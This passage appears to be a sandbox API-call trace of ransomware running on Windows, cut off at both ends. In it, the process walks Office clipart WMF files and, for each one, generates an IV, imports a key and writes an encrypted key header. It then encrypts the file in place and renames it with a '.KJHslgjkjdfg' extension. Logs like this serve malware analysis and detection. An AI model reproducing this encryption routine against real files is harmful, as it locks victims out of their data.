ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0188.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.769] GetProcessHeap () returned 0x990000 [0188.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.769] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.769] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.769] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.769] GetProcessHeap () returned 0x990000 [0188.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.770] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.770] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.770] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.772] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.772] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.772] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.772] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.772] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.772] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.772] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7620, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7620, lpOverlapped=0x0) returned 1 [0188.773] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7620, dwBufLen=0x7620 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7620) returned 1 [0188.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.773] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7620, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7620, lpOverlapped=0x0) returned 1 [0188.774] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x76f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.774] SetEndOfFile (hFile=0x130) returned 1 [0188.775] GetProcessHeap () returned 0x990000 [0188.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.775] GetProcessHeap () returned 0x990000 [0188.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.kjhslgjkjdfg")) returned 1 [0188.776] CloseHandle (hObject=0x130) returned 1 [0188.776] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0188.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.777] GetProcessHeap () returned 0x990000 [0188.777] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.777] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.777] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.779] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.780] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.780] GetProcessHeap () returned 0x990000 [0188.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.780] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.780] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.780] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.780] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.780] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.780] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.781] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x721c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x721c, lpOverlapped=0x0) returned 1 [0188.782] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7220, dwBufLen=0x7220 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7220) returned 1 [0188.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.782] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7220, lpOverlapped=0x0) returned 1 [0188.782] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x72f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.783] SetEndOfFile (hFile=0x130) returned 1 [0188.784] GetProcessHeap () returned 0x990000 [0188.784] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.784] GetProcessHeap () returned 0x990000 [0188.784] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.kjhslgjkjdfg")) returned 1 [0188.785] CloseHandle (hObject=0x130) returned 1 [0188.785] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0188.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.785] GetProcessHeap () returned 0x990000 [0188.786] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.786] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.786] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0188.788] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.788] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.788] GetProcessHeap () returned 0x990000 [0188.788] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.788] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.788] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.788] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.788] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.789] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.789] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.789] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.789] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.789] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.789] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3772, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3772, lpOverlapped=0x0) returned 1 [0188.790] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3780, dwBufLen=0x3780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3780) returned 1 [0188.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.790] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3780, lpOverlapped=0x0) returned 1 [0188.791] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.791] SetEndOfFile (hFile=0x130) returned 1 [0188.792] GetProcessHeap () returned 0x990000 [0188.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.792] GetProcessHeap () returned 0x990000 [0188.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.kjhslgjkjdfg")) returned 1 [0188.793] CloseHandle (hObject=0x130) returned 1 [0188.793] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0188.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.794] GetProcessHeap () returned 0x990000 [0188.798] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.798] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.798] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0188.803] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.803] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.803] GetProcessHeap () returned 0x990000 [0188.803] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.803] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.803] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.803] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.803] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.804] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.804] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.804] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.804] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.804] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.804] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x920e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x920e, lpOverlapped=0x0) returned 1 [0188.808] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9210, dwBufLen=0x9210 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9210) returned 1 [0188.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.809] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9210, lpOverlapped=0x0) returned 1 [0188.809] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x92e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.809] SetEndOfFile (hFile=0x130) returned 1 [0188.813] GetProcessHeap () returned 0x990000 [0188.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.813] GetProcessHeap () returned 0x990000 [0188.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.kjhslgjkjdfg")) returned 1 [0188.814] CloseHandle (hObject=0x130) returned 1 [0188.814] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0188.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.815] GetProcessHeap () returned 0x990000 [0188.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.815] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.815] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.815] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.815] GetProcessHeap () returned 0x990000 [0188.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.815] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.815] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.815] 